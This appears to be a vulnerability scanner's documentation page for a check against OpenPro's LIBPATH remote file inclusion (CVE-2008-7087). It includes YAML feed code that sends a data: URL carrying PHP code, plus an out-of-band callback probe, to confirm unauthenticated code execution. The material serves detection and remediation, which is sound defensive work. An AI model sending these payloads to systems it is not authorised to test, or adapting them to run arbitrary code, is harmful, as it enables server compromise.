OpenPro — 1 vulnerability check

noctis ships 1 vulnerability check for OpenPro, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

OpenPro LIBPATH Remote File Inclusion

CVECVE-2008-7087
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/openpro/CVE-2008-7087.yaml

Tests OpenPro for the unauthenticated file inclusion through the LIBPATH parameter: with register_globals enabled, lib/db.php includes LIBPATH followed by "/adodb/adodb.inc.php", and search_wA.php includes it followed by "/db.php" when the configuration file does not override it. The feed requests both pages under the usual install folders with LIBPATH set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. When OOB is enabled, LIBPATH is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, a PHP include warning naming a random directory followed by the page's suffix shows that the value reaches include_once() unchecked. The snippet only prints a hash and writes nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{page}}?LIBPATH={{probe.data}}
  4. Parses / computes the next value with a Rhai script
  5. Checks rce_proof for ^[0-9a-f]{32}$ → finding QoD 97: OpenPro LIBPATH Remote File Inclusion (CVE-2008-7087)
  6. HTTP(S) request GET {{page}}?LIBPATH={{probe.marker}}
  7. Parses / computes the next value with a Rhai script
  8. Parses / computes the next value with a Rhai script
  9. Parses / computes the next value with a Rhai script
  10. HTTP(S) request GET {{page}}?LIBPATH={{oob_url}}%3F
  11. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: OpenPro LIBPATH Remote File Inclusion (CVE-2008-7087)
  12. Checks warn_proof for ^noctis[0-9a-zA-Z]+/(adodb/adodb\.inc|db)\.php$ → finding QoD 75: OpenPro LIBPATH File Inclusion (CVE-2008-7087)

References:

Feed source — tests/vulnerabilities/openpro/CVE-2008-7087.yaml
# OpenPro LIBPATH remote file inclusion — CVE-2008-7087
#
# OpenPro (Italian PHP document-registry application, SourceForge project
# "openpro", last release 1.3.2 in 2005, never fixed) relies on
# register_globals. The public report (BID 30264, exploit-db 32058) names
# search_wA.php?LIBPATH=[Evil]; search_wA.php starts with
#
#   include_once("./config.php");
#   include_once($LIBPATH."/db.php");
#
# but the shipped config.php sets $LIBPATH=$HOMEPATH."/lib" unconditionally,
# so on a configured install the request value is overwritten before the
# include — that page only includes it when config.php is missing. The same
# bug is reachable for real in lib/db.php, which every page includes and
# which is served directly from the web root without loading config.php:
#
#   include_once($LIBPATH."/adodb/adodb.inc.php");     (lib/db.php, line 6)
#
# so lib/db.php?LIBPATH=<x> includes "<x>/adodb/adodb.inc.php" before any
# login. Identical in 1.0 through 1.3.2 (source read from the SourceForge
# zips).
#
# Detection, per usual install folder (web root, /openpro, /OpenPro, /forum),
# on lib/db.php then on the reported search_wA.php:
#   1. In-band code execution (QoD 97): LIBPATH is a data: URL holding
#      <?php echo md5(A*B);exit;?> with random A and B. When PHP may include
#      URLs (allow_url_include, PHP >= 5.2) the code runs and the reply carries
#      md5 of the product, a value the request never contains. If the wrapper is
#      refused, PHP's warning quotes the code text, not the md5. The code has no
#      quotes, so magic_quotes_gpc does not break it, and it writes nothing.
#   2. OOB (QoD 97, only when OOB is enabled): LIBPATH is the noctis callback
#      URL followed by "?", so the appended suffix lands in the query string; a
#      fetch of the URL is the remote inclusion (allow_url_fopen on PHP 4 /
#      5.0 / 5.1, allow_url_include later). Also covers servers hiding errors.
#   3. Fallback (QoD 75): LIBPATH is a random name; the reply must carry PHP's
#      include_once() / main() / "Failed opening … for inclusion" warning
#      naming "<random>/adodb/adodb.inc.php" (or "<random>/db.php"): the value
#      went, concatenated, into include_once().
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_openpro_file_inc_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800929, GPL-2.0-only), which only compares the
# version read from /version with 1.3.1 (QoD remote_banner). Improvements: an
# active code-execution / OOB proof, the lib/db.php sink that works on a
# configured install, and no finding for the never-fixed 1.3.2 being missed
# or for installs where register_globals is off (not exploitable).
uid: a41abc9a-3813-4d83-baf7-0e7f11624bc2
name: "OpenPro LIBPATH Remote File Inclusion (CVE-2008-7087)"
description: |
  Tests OpenPro for the unauthenticated file inclusion through the LIBPATH
  parameter: with register_globals enabled, lib/db.php includes LIBPATH
  followed by "/adodb/adodb.inc.php", and search_wA.php includes it followed
  by "/db.php" when the configuration file does not override it. The feed
  requests both pages under the usual install folders with LIBPATH set to a
  data: URL carrying a small PHP snippet that prints the md5 of the product of
  two random numbers; that md5 in the reply confirms that the server ran code
  supplied in the request. When OOB is enabled, LIBPATH is also set to the
  scanner's callback URL, and a fetch of that URL confirms the remote
  inclusion even when PHP output and errors are hidden. Otherwise, a PHP
  include warning naming a random directory followed by the page's suffix
  shows that the value reaches include_once() unchecked. The snippet only
  prints a hash and writes nothing on the server.
cves: [CVE-2008-7087]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [openpro, php, rfi, remote-file-inclusion, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-7087"
  - "https://www.exploit-db.com/exploits/32058"
  - "https://www.securityfocus.com/bid/30264"
  - "https://sourceforge.net/projects/openpro/"
  # OpenVAS/Greenbone NASL 2009/gb_openpro_file_inc_vuln.nasl (GPL-2.0-only)

steps:
  # ── Probe values, shared by every page ───────────────────────────────────
  # md5(A*B) is printed only when the included snippet actually runs.
  - id: build-probe
    action: script
    code: |
      let a = rand_int(10000, 99999);
      let b = rand_int(10000, 99999);
      #{
        data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
        expect: md5("" + (a * b)),
        marker: "noctis" + rand_str(12)
      }
    store_as: probe

  - id: init-warn-found
    action: set_var
    var_name: warn_found
    var_value: false

  - id: init-warn-page
    action: set_var
    var_name: warn_page
    var_value: ""

  - id: init-warn-proof
    action: set_var
    var_name: warn_proof
    var_value: ""

  - id: init-oob-sent
    action: set_var
    var_name: oob_sent
    var_value: false

  # ── Loop group: every following step up to the OOB wait runs once per
  # page. Each pass resets the values it reads.
  - id: init-rce-r
    action: set_var
    var_name: rce_r
    var_value: {status: 0, body: ""}
    loop:
      var: page
      over:
        - "/lib/db.php"
        - "/search_wA.php"
        - "/openpro/lib/db.php"
        - "/openpro/search_wA.php"
        - "/OpenPro/lib/db.php"
        - "/OpenPro/search_wA.php"
        - "/forum/lib/db.php"
        - "/forum/search_wA.php"

  - id: init-warn-r
    action: set_var
    var_name: warn_r
    var_value: {status: 0, body: ""}

  - id: init-rce-proof
    action: set_var
    var_name: rce_proof
    var_value: ""

  # What the page appends to LIBPATH before include_once().
  - id: page-suffix
    action: script
    code: |
      if page.ends_with("/search_wA.php") { "/db.php" } else { "/adodb/adodb.inc.php" }
    store_as: suffix

  # ── 1. data: URL — in-band code execution ────────────────────────────────
  - id: rce-probe
    action: http_request
    method: GET
    path: "{{page}}?LIBPATH={{probe.data}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: rce_r

  - id: rce-check
    action: script
    code: |
      if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
    store_as: rce_proof

  - id: report-rce
    action: match
    source: rce_proof
    pattern: "^[0-9a-f]{32}$"
    condition: 'rce_proof != ""'
    on_match:
      finding:
        title: "OpenPro LIBPATH Remote File Inclusion (CVE-2008-7087)"
        description: "An unauthenticated request to an OpenPro page with LIBPATH set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. The page includes LIBPATH without any check, so an attacker can run any PHP code on the server."
        remediation: "OpenPro is no longer maintained and was never fixed: remove it from the server. Until then, block web access to its lib/ folder and PHP pages, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{page}}?LIBPATH=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
      stop: true

  # ── 3. Random folder name — include warning naming it (fallback) ─────────
  - id: warn-probe
    action: http_request
    method: GET
    path: "{{page}}?LIBPATH={{probe.marker}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    # Also when the code probe got no reply (status 0, e.g. a filter dropping
    # "<?php"): this plain request may still get through.
    condition: "warn_found == false && rce_r.status != 404"
    store_as: warn_r

  - id: warn-check
    action: script
    code: |
      let f = probe.marker + suffix;
      let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
      let hit = b.contains("Failed opening '" + f + "' for inclusion");
      for w in ["include(", "include_once(", "require(", "require_once(", "main("] {
        if b.contains(w + f + ")") { hit = true; }
      }
      hit
    condition: "warn_found == false"
    store_as: warn_hit

  - id: warn-page
    action: script
    code: "page"
    condition: "warn_found == false && warn_hit"
    store_as: warn_page

  - id: warn-proof
    action: script
    code: "probe.marker + suffix"
    condition: "warn_found == false && warn_hit"
    store_as: warn_proof

  - id: warn-found
    action: set_var
    var_name: warn_found
    var_value: true
    condition: "warn_hit"

  # ── 2. Callback URL — remote inclusion seen out of band ──────────────────
  # Sent to every page not answering 404 (also when the code probe got no
  # reply), since a server hiding PHP errors gives no in-band sign. "%3F"
  # makes the appended suffix a query string.
  - id: oob-probe
    action: http_request
    method: GET
    path: "{{page}}?LIBPATH={{oob_url}}%3F"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled && rce_r.status != 404"

  - id: oob-sent
    action: set_var
    var_name: oob_sent
    var_value: true
    condition: "oob_enabled && rce_r.status != 404"

  - id: oob-wait
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && oob_sent"
    on_success:
      finding:
        title: "OpenPro LIBPATH Remote File Inclusion (CVE-2008-7087)"
        description: "An unauthenticated request to an OpenPro page with LIBPATH set to the noctis callback URL made the server fetch that URL: the page includes LIBPATH without any check, so an attacker can make it fetch and run PHP code from a server they control."
        remediation: "OpenPro is no longer maintained and was never fixed: remove it from the server. Until then, block web access to its lib/ folder and PHP pages, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.65
        qod: 97
        evidence: "OOB HTTP callback received after GET <OpenPro page>?LIBPATH=<OOB URL>? (remote file inclusion)"
      stop: true

  # ── Fallback finding: include warning naming the random folder ───────────
  - id: report-warn
    action: match
    source: warn_proof
    pattern: "^noctis[0-9a-zA-Z]+/(adodb/adodb\\.inc|db)\\.php$"
    condition: 'warn_proof != ""'
    on_match:
      finding:
        title: "OpenPro LIBPATH File Inclusion (CVE-2008-7087)"
        description: "An unauthenticated request to an OpenPro page with LIBPATH set to a random folder name returned a PHP include warning for that name followed by the page's library path: the page passes LIBPATH to include_once() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the include path is attacker-controlled."
        remediation: "OpenPro is no longer maintained and was never fixed: remove it from the server. Until then, block web access to its lib/ folder and PHP pages, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{warn_page}}?LIBPATH={{probe.marker}} returned a PHP include warning for {{warn_proof}}"
      stop: true

View these feeds on GitHub